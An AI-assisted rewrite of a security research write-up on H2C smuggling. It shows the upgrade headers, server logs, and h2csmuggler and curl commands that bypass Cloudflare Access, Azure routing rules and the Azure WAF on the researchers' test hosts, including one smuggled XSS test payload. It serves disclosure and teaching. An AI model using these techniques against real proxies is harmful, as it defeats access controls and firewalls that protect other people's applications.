Skip to content
Smuggling / CRLF Write-up Advanced

H2C Smuggling in the Wild

H2C smuggling allows bypassing reverse proxy authorization controls by upgrading a connection to HTTP/2 cleartext, after which the proxy stops inspecting individual requests. The authors found that Cloudflare and Azure load balancers were vulnerable, enabling bypass of access rules and WAF, while Google Cloud was not.

Sean Yeoh Follow

Published on blog.assetnote.io

6 months ago, Jake Miller released a blog article and python tool describing H2C smuggling, or http2 over cleartext smuggling. By using an obscure feature of http2, an attacker could bypass authorization controls on reverse proxies.

Assetnote Team, on blog.assetnote.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

H2C is HTTP/2 over cleartext: a normal, transient HTTP connection is upgraded to a persistent connection that carries the HTTP/2 binary protocol continuously, instead of serving a single request over plaintext HTTP. The smuggling angle appears when a reverse proxy sits in front of the backend. Normally the proxy handles each request, applies its routing rules (in Nginx, for example, routing different host headers or different paths to different backends, or running ModSecurity), forwards to the backend and returns the response. When a request carries a Connection: Upgrade header, as a websocket connection does, the proxy keeps the persistent connection between client and server open so the protocol can keep talking. For an H2C connection the RFC requires three headers:

HTTP
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings

The bug is that when upgrading a connection the reverse proxy often stops handling individual requests, assuming its routing job is done once the connection is established. If a H2C connection can be established at all, the rules the proxy applies to requests, path based routing, authentication, WAF processing, can be bypassed. The caveat is exactly that: if the H2C connection cannot be established in the first place, all the reverse proxy rules still apply.

Normal authorization controls on a reverse proxy
Normal authorization controls on a reverse proxy From the original on blog.assetnote.io

The diagram shows normal authorization controls on a reverse proxy: requests on the root path are allowed, requests on the /flag path are denied.

Bypassing the reverse proxy with H2C Smuggling
Bypassing the reverse proxy with H2C Smuggling From the original on blog.assetnote.io

The second diagram shows the bypass: with H2C smuggling the /flag route is reachable even though it is not reachable normally.

This work followed Jake Miller's blog article and python tool on H2C smuggling, published about six months earlier. After reading it, the team discussed the vulnerability, its exploitation scenarios and its potential widespread impact, then investigated multiple cloud providers, finding authentication, routing and WAF bypasses. About a month before publication PortSwigger named H2C smuggling the top web hacking technique in 2020, a ranking the findings below support.

Setup

The original post notes that not all servers forward the headers required for a compliant H2C upgrade, so load balancers such as AWS ALB/CLB, NGINX and Apache Traffic Server prevent an H2C connection by default. It also mentions that not all backends were compliant, and that testing could be done with the non-compliant Connection: Upgrade variant, where the HTTP2-Settings value is omitted from the Connection header.

The original POCs handling of non-compliant h2c connections
The original POCs handling of non-compliant h2c connections From the original on blog.assetnote.io

The image shows the original PoC's handling of non-compliant h2c connections.

Two pieces of infrastructure were needed. First, a server that accepts both compliant and non-compliant H2C upgrade connections: the original demo Golang server was modified for this. The change was in the net/http/h2c library used to handle H2C connections. The condition normally used to decide whether a connection should be upgraded is shown here:

net/http/h2c handling h2c upgrades for incoming connections
net/http/h2c handling h2c upgrades for incoming connections From the original on blog.assetnote.io

Instead, the HTTP2-Settings option was excluded and the code simply looks for an Upgrade: h2c header to decide whether to upgrade:

our modified h2c upgrade connection handler
our modified h2c upgrade connection handler From the original on blog.assetnote.io

Second, a client to send the requests. The original post had a workable PoC client, but a new one was written from scratch in Golang to support detection of the vulnerability across large scale attack surfaces. This meant heavily modifying the Golang net/http library to force multiple requests over a single HTTP connection and to upgrade an HTTP/1.1 https connection to HTTP/2.0. Neither behaviour conforms to any spec, and Golang lacked the convenient HTTP/2 library that Python has in h2, so the net/http code had to be studied directly. A custom TCP connection was created to communicate, with the initial handshake and connection upgrade performed manually. The hardest part was that, per the HTTP/2 spec for H2C upgrades, the response to the initial upgrade request is immediately queued on the connection for reading, but nothing in net/http lets you read a single HTTP/2 response from a TCP connection, so many more modifications to the net/http2 transport were required. The changes are published in the assetnote/h2csmuggler repository.

The research goals were set out explicitly:

  1. Configure a server that upgrades non-compliant and compliant connections to H2C.
  2. Find a load balancer that can be configured with routing rules or features.
  3. Establish a connection through the load balancer.
  4. Attempt to bypass the routing rules or features.

When investigating load balancers the target was default configurations that lead to vulnerabilities, even though a non-compliant server was used. The rationale: most developers try to configure their load balancer properly, but may not understand the internals of their reverse proxies and internal services, so they may be vulnerable even with a correct load balancer configuration.

Finding it

Cloudflare offers load balancing in the sense of proxying requests through its network and adding service enhancements on top, such as caching and content acceleration. Among those enhancements is Cloudflare Access, an authentication service enforced by the load balancer, where rules can be configured on paths.

Cloudflare access policy control
Cloudflare access policy control From the original on blog.assetnote.io

The image shows a Cloudflare access policy control.

Cloudflare offering proxied connections
Cloudflare offering proxied connections From the original on blog.assetnote.io

The image shows Cloudflare offering proxied connections.

In initial testing, Cloudflare was observed modifying the Upgrade header to exclude HTTP2-Settings while keeping the other headers:

Bash
INFO[866915] recieved headers="map[Accept-Encoding:[gzip] Cdn-Loop:[cloudflare] Cf-Connecting-Ip:[[redacted]] Cf-Ray:[5eebda014e4716ad-SYD] Cf-Request-Id:[[redacted]] Cf-Visitor:[{\"scheme\":\"http\"}] Connection:[Upgrade] Http2-Settings:[AAMAAABkAARAAAAAAAIAAAAA] Upgrade:[h2c] Cf-Ipcountry:[AU] User-Agent:[Go-http-client/1.1] X-Forwarded-For:[[redacted]] X-Forwarded-Proto:[http]]" host=jump-h2c-host.assetnote.dev method=GET path=/

That suggested the Cloudflare Access rules could be bypassed.

Exploitation

Step 1: confirm the rule blocks the path normally

A plain request to /flag is refused:

Bash
$ curl https://jump-h2c-host.assetnote.dev/flag -I

HTTP/2 403
date: Thu, 10 Sep 2020 10:35:13 GMT
content-type: text/html
set-cookie: __cfduid=[redacted]; expires=Sat, 10-Oct-20 10:35:13 GMT; path=/; domain=.assetnote.dev; HttpOnly; SameSite=Lax; Secure
cf-request-id: [redacted]
expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
server: cloudflare
cf-ray: 5d0880446dd9fd32-SYD

The response is a 403 from Cloudflare, so the access rule is in force on the normal path.

Step 2: smuggle the request over an H2C connection

The original python tool is pointed at the host and the protected path:

Bash
$ h2csmuggler.py -x https://jump-h2c-host.assetnote.dev https://jump-h2c-host.assetnote.dev/flag

[INFO] h2c stream established successfully.
:status: 200
content-type: text/plain; charset=utf-8
content-length: 20
date: Thu, 10 Sep 2020 10:33:51 GMT
Hello, /, http: true

[INFO] Requesting - /flag
:status: 200
content-type: text/plain; charset=utf-8
content-length: 17
date: Thu, 10 Sep 2020 10:33:51 GMT

You got the flag!

The tool establishes the H2C stream through the proxy, then sends the request for /flag inside it. The backend answers 200 with You got the flag!, so the access rule was bypassed.

Step 3: Cloudflare outcome

Reporting to Cloudflare's public bug bounty program was a pleasant experience: responsive and receptive to the research. Across multiple iterations of fixes they had to balance customer expectations around servicing H2C connections, and kept the researchers in the loop despite those challenges. The final fix strips all headers related to H2C, so the connection is processed normally as expected:

Bash
INFO[866915] recieved headers="map[Accept-Encoding:[gzip] Cdn-Loop:[cloudflare] Cf-Connecting-Ip:[[redacted]] Cf-Ipcountry:[AU] Cf-Ray:[5e9a63bc8f2cd695-SYD] Cf-Request-Id:[[redacted]] Cf-Visitor:[{\"scheme\":\"http\"}] Connection:[Keep-Alive] User-Agent:[Go-http-client/1.1] X-Forwarded-For:[[redacted]] X-Forwarded-Proto:[http]]" host=jump-h2c-host.assetnote.dev method=GET path=/

Step 4: Azure Application Gateway, routing bypass

Azure is described as the most interesting case for impact, because Azure Application Gateways can have the Azure WAF attached to the gateway, so the bypass is not limited to routing rules. The gateway removes HTTP2-Settings from the Upgrade header but leaves the rest untouched:

JSX
INFO*[7632]* upgrading request headers="map[Accept:[*/*] Accept-Encoding:[gzip] Connection:[upgrade] Http2-Settings:[AAMAAABkAARAAAAAAAIAAAAA] Upgrade:[h2c] User-Agent:[Go-http-client/1.1] X-Forwarded-For:[[redacted]:44302] X-Forwarded-Port:[80] X-Forwarded-Proto:[http] X-Original-Host:[[redacted]] X-Original-Url:[/]]" host=[redacted] method=GET url=/
INFO*[7632]* recieved headers="map[Accept:[*/*] Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1] X-Forwarded-For:[[redacted]:44302] X-Forwarded-Port:[80] X-Forwarded-Proto:[http] X-Original-Host:[[redacted]] X-Original-Url:[/]]" host=[redacted] method=GET path=/

With that, routing rules can be bypassed. A normal request to /flag is redirected:

JSX
sean at pop-os in ~/tools/web/h2csmuggler (master●)
$ curl [redacted]/flag -I
HTTP/1.1 301 Moved Permanently
Server: Microsoft-Azure-Application-Gateway/v2
Date: Fri, 25 Sep 2020 07:20:47 GMT
Content-Type: text/html
Content-Length: 195
Connection: keep-alive
Location: http:*//example.com/flag*

The Golang tool then smuggles the same path:

JSX
$ go run ./cmd/h2csmuggler smuggle http://[redacted] 'http://[redacted]/flag' -H 'Accept: */*' -v -P
DEBU[0000] Log level set to: debug
[H2C Smuggling detected on http://[redacted]/flag]
[Smuggled response]
HTTP/2.0 200 OK
Content-Length: 17
Content-Type: text/plain; charset=utf-8
Date: Thu, 29 Oct 2020 07:34:56 GMT
You got the flag!

Step 5: Azure WAF bypass

More importantly, with the Azure WAF configured this gives a global WAF bypass, provided the first request is not blocked by the WAF and an H2C connection can be established. A request carrying a script payload is blocked normally:

JSX
sean at pop-os in ~/tools/web/h2csmuggler (master●●)
$ curl "[redacted]/?param=<script>alert(1)</script>"
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>Microsoft-Azure-Application-Gateway/v2</center>
</body>
</html>

The same payload smuggled over H2C reaches the backend:

JSX
sean at pop-os in ~/tools/web/h2csmuggler (master●●)
$ go run ./cmd/h2csmuggler smuggle http://[redacted] 'http://[redacted]/?param=<script>alert(1)</script>' -H 'Accept: */*' -v -P
DEBU[0000] Log level set to: debug
[H2C Smuggling detected on http://[redacted]/?param=<script>alert(1)</script>]
[Smuggled response]
HTTP/2.0 200 OK
Content-Length: 54
Content-Type: text/plain; charset=utf-8
Date: Thu, 29 Oct 2020 07:35:32 GMT
Hello, /, param=<script>alert(1)</script>, http: true

Reporting to Azure was again painless and smooth. As with other cloud providers, fixes had to be well communicated and tested to ensure minimal customer impact. Azure acknowledged the vulnerability as a complete WAF bypass and stated the fix timeline was Q1 2021, so disclosure was delayed until the fix was implemented.

Step 6: Google Cloud Platform

Google Load Balancer allows basic routing rules to be configured on the load balancer.

GLB with path based routing rules
GLB with path based routing rules From the original on blog.assetnote.io

The image shows a GLB with path based routing rules.

When attempting an HTTP upgrade, however, the load balancer strips all Connection and Http2-Settings headers. Without the HTTP2-Settings header there is no way to upgrade the connection:

Bash
# Client

TRAC[0000] performing upgrade request headers="map[Connection:[Upgrade, HTTP2-Settings] Http2-Settings:[AAMAAABkAARAAAAAAAIAAAAA] Upgrade:[h2c]]"
TRAC[0000] establishing tcp conn on: gce-alb-h2.assetnote.dev:80
TRAC[0000] upgrade request complete body="Hello, /, , http: true" headers="map[Content-Length:[23] Content-Type:[text/plain; charset=utf-8] Date:[Thu, 29 Oct 2020 05:01:38 GMT] Via:[1.1 google]]" status=200
TRAC[0000] unexpected status code: 200

# Server

INFO[11036] upgrading request headers="map[Accept-Encoding:[gzip] Cdn-Loop:[google] Connection:[Keep-Alive] Upgrade:[h2c] User-Agent:[Go-http-client/1.1] Via:[1.1 google] X-Cloud-Trace-Context:[[redacted]/13544612580954245206] X-Forwarded-For:[[redacted], [redacted]] X-Forwarded-Proto:[http]]" host=gce-alb-h2.assetnote.dev method=GET url=/
INFO[11036] recieved headers="map[Accept-Encoding:[gzip] Cdn-Loop:[google] Connection:[Keep-Alive] Upgrade:[h2c] User-Agent:[Go-http-client/1.1] Via:[1.1 google] X-Cloud-Trace-Context:[[redacted]/13544612580954245206] X-Forwarded-For:[[redacted], [redacted]] X-Forwarded-Proto:[http]" host=gce-alb-h2.assetnote.dev method=GET path=/

Because of the way GLB handles these connections, GCP was not vulnerable to H2C smuggling.

Other cloud providers

Other cloud providers are vulnerable to this attack, but at the time of publishing disclosure permission had not been given.

Root cause

When a reverse proxy upgrades a connection it often stops handling individual requests, assuming its routing job is done once the connection is established. The proxy often stops handling individual requests once the connection is established, so the rules it applies to requests can be bypassed. The original post notes that many load balancers prevent this by default, but a backend that accepts the non-compliant variant, where HTTP2-Settings is omitted from the Connection header, is enough. Cloudflare modified the Upgrade header to exclude HTTP2-Settings while keeping the other headers, and Azure removed HTTP2-Settings from the Upgrade header but left the rest untouched. GCP stripped all Connection and Http2-Settings headers, and due to the way GLB handles these connections GCP was not vulnerable.

Impact

Where a H2C connection can be established through the proxy, an attacker can bypass the rules the proxy applies to requests: path based routing, authentication such as Cloudflare Access, and WAF processing such as the Azure WAF. On Azure the bypass is described as global, provided the first request is not blocked by the WAF and the H2C connection can be established. The condition is the same everywhere: without a successful H2C connection, all the reverse proxy rules still apply. The researchers also note that across their existing customers over the previous five months they found multiple instances of off-the-shelf configured services that permitted H2C upgrades, potentially bypassing authorization controls placed on interim reverse proxies.

Fix

Cloudflare's final fix strips all headers related to H2C, so the connection is processed normally as expected. Azure acknowledged the issue as a complete WAF bypass and stated a fix timeline of Q1 2021. GCP was not vulnerable because it strips all Connection and Http2-Settings headers. The general lesson stated for developers and users of cloud load balancers is that security measures on only the load balancer can be insufficient when restricting access or securing an application.

Variants to test

  1. Send a compliant upgrade (Upgrade: h2c, HTTP2-Settings, Connection: Upgrade, HTTP2-Settings) through a proxy to a backend you control and check whether the backend sees the upgrade headers.
  2. Send the non-compliant variant, with HTTP2-Settings omitted from the Connection header, against proxies that rewrite the Upgrade header.
  3. Target a path protected by an authentication layer enforced at the proxy, such as Cloudflare Access.
  4. Target a path protected by a WAF attached to the load balancer, such as Azure WAF.
  5. Test other cloud load balancers and CDN providers with routing rules.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 23 min read.

What happened, in plain words

Imagine a large office building with a single reception desk on the ground floor. Visitors must stop at reception, show their pass, and the receptionist decides which floor they may visit. That reception desk is a reverse proxy: a server that sits in front of the real application servers (the "backends") and decides what traffic is allowed through. It can block certain paths, check who you are, or inspect what you are carrying.

Now imagine a visitor who asks the receptionist for something unusual: a permanent phone line to the back office, justified as "I need to keep talking to them continuously". The receptionist, following the rules for setting up such a line, connects the call and then stops listening to what is said on it. The visitor can now ask the back office for anything, and the receptionist's rules no longer apply.

That is the essence of H2C smuggling. H2C means "HTTP/2 over cleartext": a way for a browser or tool to ask a server to switch an ordinary, short-lived web connection into a long-lived one that speaks a newer, faster version of the web protocol (HTTP/2) without encryption. The trick is that many reverse proxies, once they have agreed to that switch, stop applying their per-request rules to everything that travels inside the new connection. An attacker can therefore reach parts of the application that the proxy would normally refuse.

This article retells a piece of security research published in March 2021. The researchers read an earlier blog post and tool by Jake Miller about H2C smuggling, discussed it, and then tested how several big cloud providers behaved. They found that some of them could be tricked into letting requests through that should have been blocked. They reported the problems, Cloudflare fixed them, Azure acknowledged the issue with a fix planned for Q1 2021, GCP was found not to be affected, and the researchers published their findings and their own tool.

Below, every technical idea is explained from scratch, and every command and response from the research is shown exactly as it appeared, with a plain-language walkthrough after each one.

Background: what HTTP, proxies and upgrades are

Before the details, a few basics.

  • HTTP is the language your browser speaks with websites. You ask for a page (a request), the server answers (a response). Normally each request is independent: the connection opens, the request and response are exchanged, and the connection closes. This is called a transient connection.
  • HTTP/2 is a newer version of that language. It is more efficient and can carry many requests at once over a single connection. It is usually used with encryption (HTTPS), but it can also be used without encryption, and that is what "cleartext" means.
  • H2C stands for HTTP/2 over cleartext. It is a way to start with an ordinary HTTP/1.1 connection and then upgrade it to HTTP/2 without encryption. The upgrade is requested with special headers (small labelled pieces of information sent with a request).
  • A reverse proxy is a server that stands in front of your real application servers. Visitors talk to the proxy; the proxy applies rules (which paths are allowed, who is authenticated, what a firewall inspects) and then forwards allowed requests to the backend. Common examples are Nginx, cloud load balancers, and CDNs.
  • A load balancer is a kind of reverse proxy whose main job is to spread incoming traffic across several backend servers. Cloud providers sell these as services.
  • A WAF (Web Application Firewall) is a filter that inspects requests for malicious patterns (for example, script code injected into a parameter) and blocks them. It can be attached to a load balancer.
  • A CDN (Content Delivery Network) is a network of servers spread around the world that cache and accelerate content. Cloudflare is a well-known CDN that also offers security features.
  • A header is a line of metadata in an HTTP request or response, such as Connection: Upgrade. Headers tell the other side what you want or what you are sending.
  • A cookie is a small piece of data a website stores in your browser so it can recognise you on later requests. Cookies are often used for sessions (keeping you logged in).
  • A bug bounty program is a scheme where a company invites outside researchers to report security problems, often paying a reward and agreeing how and when the details may be published.
  • Disclosure is the act of making a vulnerability public. Companies often ask researchers to wait until a fix is in place.

With those terms in mind, here is how the original research described the problem.

The H2C upgrade, step by step

A normal HTTP connection lasts only for the duration of a single request. H2C is different: a normal transient HTTP connection is upgraded to a persistent connection that uses the HTTP/2 binary protocol to communicate continuously, instead of serving one request over plaintext HTTP.

The second part of the smuggling happens because of the reverse proxy. Normally, when HTTP requests arrive at a reverse proxy, the proxy handles the request, processes a series of routing rules, forwards the request to the backend, and returns the response. When a request includes a Connection: Upgrade header, as a websocket connection does, the reverse proxy keeps the persistent connection between client and server open, so the protocol can keep talking continuously. (A websocket is a technology for two-way, always-open communication, used by chat apps and live dashboards.)

For an H2C connection, the standard (the RFC, which is a formal technical specification) requires three headers to be present:

HTTP
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings

Line by line:

  1. Upgrade: h2c says "I would like to switch this connection to H2C".
  2. HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA carries a small encoded value that tells the other side some settings for the HTTP/2 conversation. The exact value is not important for understanding; what matters is that the standard expects this header.
  3. Connection: Upgrade, HTTP2-Settings tells the server that both the Upgrade header and the HTTP2-Settings header are part of the connection negotiation. In other words, it lists the headers that are relevant to this upgrade.

Now, when the reverse proxy handles a normal HTTP request, it can apply a series of routing rules. In Nginx, for example, this might mean routing different host headers to different backends, or routing different paths to different backends. It can also include processing such as Nginx's WAF module, ModSecurity.

Normal authorization controls on a reverse proxy
Normal authorization controls on a reverse proxy From the original on blog.assetnote.io

The diagram shows normal authorization controls on a reverse proxy: requests on the root path are allowed, requests on the /flag path are denied.

So where is the bug? When upgrading a connection, the reverse proxy often stops handling individual requests, assuming that once the connection has been established, its routing job is done. Using H2C smuggling, an attacker can bypass the rules the reverse proxy uses when processing requests, such as path-based routing, authentication, or WAF processing, provided the attacker can establish an H2C connection first.

Bypassing the reverse proxy with H2C Smuggling
Bypassing the reverse proxy with H2C Smuggling From the original on blog.assetnote.io

The second diagram shows the bypass: with H2C smuggling, the /flag route is reachable even though it is not reachable normally. The caveat is exactly that: if the H2C connection cannot be established in the first place, all the reverse proxy rules still apply.

This work followed Jake Miller's blog article and Python tool on H2C smuggling, published about six months earlier. After reading it, the team discussed the vulnerability, its exploitation scenarios and its potential widespread impact, then investigated multiple cloud providers, finding authentication, routing and WAF bypasses. About a month before publication, PortSwigger named H2C smuggling the top web hacking technique in 2020, a ranking the findings below support.

Setting up a test lab

The original post notes that not all servers forward the headers required for a compliant H2C upgrade, so load balancers such as AWS ALB/CLB, Nginx and Apache Traffic Server prevent an H2C connection by default. It also mentions that not all backends were compliant, and that testing could be done with the non-compliant Connection: Upgrade variant, where the HTTP2-Settings value is omitted from the Connection header.

The original POCs handling of non-compliant h2c connections
The original POCs handling of non-compliant h2c connections From the original on blog.assetnote.io

The image shows the original proof-of-concept tool's handling of non-compliant H2C connections.

To test this, the researchers needed two pieces of infrastructure.

First, a server that accepts both compliant and non-compliant H2C upgrade connections. They modified the original demo server written in Golang (also called Go, a programming language often used for network tools). The change was in the net/http/h2c library, which is the part of Go's standard library that handles H2C connections. The condition normally used to decide whether a connection should be upgraded is shown here:

net/http/h2c handling h2c upgrades for incoming connections
net/http/h2c handling h2c upgrades for incoming connections From the original on blog.assetnote.io

The image shows the net/http/h2c code that handles H2C upgrades for incoming connections.

Instead, they excluded the HTTP2-Settings option and simply looked for an Upgrade: h2c header to decide whether to upgrade:

our modified h2c upgrade connection handler
our modified h2c upgrade connection handler From the original on blog.assetnote.io

The image shows their modified H2C upgrade connection handler.

Why do this? Because real-world proxies often rewrite or remove headers. If the test server only accepted perfectly compliant upgrades, it would miss the cases where a proxy strips HTTP2-Settings but still lets the upgrade through. By accepting the non-compliant variant, the researchers could detect more real-world behaviour.

Second, they needed a client to send the requests. The original post had a workable proof-of-concept client, but the researchers wrote a new one from scratch in Golang to support detection of the vulnerability across large-scale attack surfaces (many hosts at once). This meant heavily modifying the Golang net/http library to force multiple requests over a single HTTP connection and to upgrade an HTTP/1.1 https connection to HTTP/2.0. Neither behaviour conforms to any specification, and Golang lacked the convenient HTTP/2 library that Python has in h2, so the net/http code had to be studied directly. They created a custom TCP connection (TCP is the underlying transport that carries web traffic) to communicate, performing the initial handshake and connection upgrade manually. The hardest part was that, according to the HTTP/2 specification for H2C upgrades, the response to the initial upgrade request is immediately queued on the connection for reading, but nothing in net/http lets you read a single HTTP/2 response from a TCP connection. Consequently, many more modifications to the net/http2 transport were required. The changes are published in the assetnote/h2csmuggler repository.

The research goals were set out explicitly:

  1. Configure a server that upgrades non-compliant and compliant connections to H2C.
  2. Find a load balancer that can be configured with routing rules or features.
  3. Establish a connection through the load balancer.
  4. Attempt to bypass the routing rules or features.

When investigating load balancers, the target was default configurations that lead to vulnerabilities, even though a non-compliant server was used. The rationale: most developers try to configure their load balancer properly, but may not understand the internals of their reverse proxies and internal services, so they may be vulnerable even with a correct load balancer configuration.

Finding it: Cloudflare

Cloudflare offers load balancing in the sense of proxying requests through its network and adding service enhancements on top, such as caching and content acceleration. Among those enhancements is Cloudflare Access, an authentication service enforced by the load balancer, where rules can be configured on paths. In plain terms, Cloudflare Access is a gatekeeper: you can tell it "only allow certain people to reach /admin" and it will check every request to that path.

Cloudflare access policy control
Cloudflare access policy control From the original on blog.assetnote.io

The image shows a Cloudflare access policy control.

Cloudflare offering proxied connections
Cloudflare offering proxied connections From the original on blog.assetnote.io

The image shows Cloudflare offering proxied connections.

In initial testing, Cloudflare was observed modifying the Upgrade header to exclude HTTP2-Settings while keeping the other headers:

Bash
INFO[866915] recieved headers="map[Accept-Encoding:[gzip] Cdn-Loop:[cloudflare] Cf-Connecting-Ip:[[redacted]] Cf-Ray:[5eebda014e4716ad-SYD] Cf-Request-Id:[[redacted]] Cf-Visitor:[{\"scheme\":\"http\"}] Connection:[Upgrade] Http2-Settings:[AAMAAABkAARAAAAAAAIAAAAA] Upgrade:[h2c] Cf-Ipcountry:[AU] User-Agent:[Go-http-client/1.1] X-Forwarded-For:[[redacted]] X-Forwarded-Proto:[http]]" host=jump-h2c-host.assetnote.dev method=GET path=/

This is a log line from the test server. It shows the headers that actually arrived at the backend after passing through Cloudflare. Reading it:

  • Connection:[Upgrade] and Upgrade:[h2c] are still present, so the upgrade request survived.
  • Http2-Settings:[AAMAAABkAARAAAAAAAIAAAAA] is still present as a header, but note that the Connection header no longer lists HTTP2-Settings. That is the non-compliant shape: the settings header is there, but the Connection header does not mention it.
  • The Cf-* headers are added by Cloudflare (for example Cf-Ray is a request identifier, Cf-Ipcountry is the visitor's country).
  • X-Forwarded-For and X-Forwarded-Proto are headers proxies add to tell the backend where the request really came from.

That suggested the Cloudflare Access rules could be bypassed, because the backend would still see enough to perform the upgrade.

Exploitation against Cloudflare

Step 1: confirm the rule blocks the path normally

A plain request to /flag is refused:

Bash
$ curl https://jump-h2c-host.assetnote.dev/flag -I

HTTP/2 403
date: Thu, 10 Sep 2020 10:35:13 GMT
content-type: text/html
set-cookie: __cfduid=[redacted]; expires=Sat, 10-Oct-20 10:35:13 GMT; path=/; domain=.assetnote.dev; HttpOnly; SameSite=Lax; Secure
cf-request-id: [redacted]
expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
server: cloudflare
cf-ray: 5d0880446dd9fd32-SYD

Line by line:

  1. curl is a command-line tool for making web requests. The -I flag asks for only the response headers, not the body.
  2. HTTP/2 403 is the status line: the server answered using HTTP/2 with status code 403, which means "Forbidden". So the access rule is in force on the normal path.
  3. date, content-type are ordinary response headers.
  4. set-cookie: __cfduid=... is Cloudflare setting a cookie in the browser. Cookies are small pieces of data stored by the browser; this one is a Cloudflare tracking/identification cookie. The attributes HttpOnly, SameSite=Lax, Secure are security settings for the cookie.
  5. cf-request-id, cf-ray, server: cloudflare identify Cloudflare as the responder.
  6. expect-ct is a security header related to certificate transparency.

This step matters because you must first prove the door is locked before showing you can open it another way.

Step 2: smuggle the request over an H2C connection

The original Python tool is pointed at the host and the protected path:

Bash
$ h2csmuggler.py -x https://jump-h2c-host.assetnote.dev https://jump-h2c-host.assetnote.dev/flag

[INFO] h2c stream established successfully.
:status: 200
content-type: text/plain; charset=utf-8
content-length: 20
date: Thu, 10 Sep 2020 10:33:51 GMT
Hello, /, http: true

[INFO] Requesting - /flag
:status: 200
content-type: text/plain; charset=utf-8
content-length: 17
date: Thu, 10 Sep 2020 10:33:51 GMT

You got the flag!

Line by line:

  1. h2csmuggler.py is the original Python tool. -x tells it the URL through which to establish the H2C connection (the proxy), and the second URL is the request to send inside that connection.
  2. [INFO] h2c stream established successfully. means the upgrade worked: a persistent H2C stream is now open through Cloudflare to the backend.
  3. The first response block (:status: 200, Hello, /, http: true) is the answer to the initial upgrade request. The backend confirms it is speaking HTTP/2 (http: true).
  4. [INFO] Requesting - /flag means the tool now sends the protected path inside the already-open stream.
  5. The second response block shows :status: 200 and You got the flag!. The backend answered successfully, so the Cloudflare Access rule was bypassed.

The upgrade went through and the request for /flag inside the stream reached the backend, so the Cloudflare Access rule was bypassed.

Step 3: Cloudflare outcome

Reporting to Cloudflare's public bug bounty program was a pleasant experience: responsive and receptive to the research. Across multiple iterations of fixes they had to balance customer expectations around servicing H2C connections, and kept the researchers in the loop despite those challenges. The final fix strips all headers related to H2C, so the connection is processed normally as expected:

Bash
INFO[866915] recieved headers="map[Accept-Encoding:[gzip] Cdn-Loop:[cloudflare] Cf-Connecting-Ip:[[redacted]] Cf-Ipcountry:[AU] Cf-Ray:[5e9a63bc8f2cd695-SYD] Cf-Request-Id:[[redacted]] Cf-Visitor:[{\"scheme\":\"http\"}] Connection:[Keep-Alive] User-Agent:[Go-http-client/1.1] X-Forwarded-For:[[redacted]] X-Forwarded-Proto:[http]]" host=jump-h2c-host.assetnote.dev method=GET path=/

Compare this log with the earlier one. The Upgrade and Http2-Settings headers are gone entirely, and Connection is now Keep-Alive instead of Upgrade. Without the upgrade headers, the backend cannot switch to H2C, so the request is handled as an ordinary one and the proxy's rules apply again.

Exploitation against Azure

Azure is described as the most interesting case for impact, because Azure Application Gateways can have the Azure WAF attached to the gateway, so the bypass is not limited to routing rules. In other words, the same trick could get past a web application firewall, not just past path restrictions.

The gateway removes HTTP2-Settings from the Upgrade header but leaves the rest untouched:

JSX
INFO*[7632]* upgrading request headers="map[Accept:[*/*] Accept-Encoding:[gzip] Connection:[upgrade] Http2-Settings:[AAMAAABkAARAAAAAAAIAAAAA] Upgrade:[h2c] User-Agent:[Go-http-client/1.1] X-Forwarded-For:[[redacted]:44302] X-Forwarded-Port:[80] X-Forwarded-Proto:[http] X-Original-Host:[[redacted]] X-Original-Url:[/]]" host=[redacted] method=GET url=/
INFO*[7632]* recieved headers="map[Accept:[*/*] Accept-Encoding:[gzip] User-Agent:[Go-http-client/1.1] X-Forwarded-For:[[redacted]:44302] X-Forwarded-Port:[80] X-Forwarded-Proto:[http] X-Original-Host:[[redacted]] X-Original-Url:[/]]" host=[redacted] method=GET path=/

Line by line:

  1. The first line is the server logging the request as it arrives for upgrade. It still contains Connection:[upgrade], Http2-Settings:[AAMAAABkAARAAAAAAAIAAAAA] and Upgrade:[h2c].
  2. The second line is the server logging the headers it actually received after the gateway processed them. Notice that Connection, Http2-Settings and Upgrade are no longer listed. The gateway removed HTTP2-Settings from the Upgrade header but left the rest untouched.

With that, routing rules can be bypassed. A normal request to /flag is redirected:

JSX
sean at pop-os in ~/tools/web/h2csmuggler (master●)
$ curl [redacted]/flag -I
HTTP/1.1 301 Moved Permanently
Server: Microsoft-Azure-Application-Gateway/v2
Date: Fri, 25 Sep 2020 07:20:47 GMT
Content-Type: text/html
Content-Length: 195
Connection: keep-alive
Location: http:*//example.com/flag*

Line by line:

  1. The first line is the shell prompt, showing the researcher's machine and directory. It is not part of the request.
  2. curl [redacted]/flag -I asks for the headers of /flag on that address.
  3. HTTP/1.1 301 Moved Permanently means the gateway is redirecting the request elsewhere.
  4. Server: Microsoft-Azure-Application-Gateway/v2 identifies the gateway.
  5. Location: http:*//example.com/flag* is where the redirect points.

So normally, /flag is not served directly; it is redirected away.

The Golang tool then smuggles the same path:

JSX
$ go run ./cmd/h2csmuggler smuggle http://[redacted] 'http://[redacted]/flag' -H 'Accept: */*' -v -P
DEBU[0000] Log level set to: debug
[H2C Smuggling detected on http://[redacted]/flag]
[Smuggled response]
HTTP/2.0 200 OK
Content-Length: 17
Content-Type: text/plain; charset=utf-8
Date: Thu, 29 Oct 2020 07:34:56 GMT
You got the flag!

Line by line:

  1. go run ./cmd/h2csmuggler runs the researchers' Go tool from source.
  2. smuggle is the subcommand that performs the attack.
  3. The first URL is the proxy address; the second is the request to send inside the smuggled connection.
  4. -H 'Accept: */*' adds an Accept header saying the client accepts any content type.
  5. -v enables verbose output, -P is another option used by the tool.
  6. DEBU[0000] Log level set to: debug is a debug log line.
  7. [H2C Smuggling detected on http://[redacted]/flag] means the tool found that the upgrade worked.
  8. [Smuggled response] introduces the response received inside the smuggled stream.
